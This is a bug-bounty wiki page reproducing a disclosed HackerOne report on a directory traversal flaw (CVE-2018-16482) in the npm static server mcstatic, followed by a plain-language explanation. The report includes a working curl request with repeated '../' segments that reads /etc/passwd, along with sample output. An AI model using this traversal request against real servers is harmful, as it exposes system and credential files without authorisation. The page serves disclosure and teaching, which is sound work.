Skip to content
Path traversal Disclosed report Beginner CVE-2018-16482

[mcstatic] Server Directory Traversal

The mcstatic static HTTP server module did not properly normalise request paths, so a crafted URL containing many parent-directory segments escaped the served root. An attacker could read arbitrary local files on the server, such as the system password file.

tungpun Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 9 days
  • Fixed in 48 days
  • Disclosed after 3 months

I would like to report a Server Directory Traversal in mcstatic. It allows reading local files on the target server.

Module

module name: mcstatic version: 0.0.20 npm page: https://www.npmjs.com/package/mcstatic

Module Description

Static Http server for mocking and stuff

Vulnerability

Steps To Reproduce:

  • Install the module

$ npm i mcstatic

  • Start the server

$ ./node_modules/mcstatic/bin/mcstatic --port 6060

  • Using the below request to access the file /etc/passwd on the target server:
$ curl --path-as-is 'http://127.0.0.1:6060/../../../../../../../../../etc/passwd'
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
...

Supporting Material/References:

  • node v8.10.0
  • npm 5.6.0
  • curl 7.54.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

reading local files on the target server

The original report as published on HackerOne, by tungpun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could read local files on the target server, limited to files the server process can access.

What the attacker needed

Network access to the server port; server running with default settings

The fix

The text offers no fix; a remedy would be to normalise paths and reject parent-directory segments.

How it was found

  1. Install the mcstatic module with npm.
  2. Start the server on a chosen port.
  3. Send a request whose path contains many parent-directory segments to reach a system file.
  4. Observe the contents of the local file returned in the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A static web server is meant to hand out files from one folder only. Here, a request with lots of 'go up one folder' segments in the URL was followed by the server, so it walked out of that folder and read files elsewhere on the machine. This is called directory traversal, and it can expose sensitive system files.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by tungpun

View all

11 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.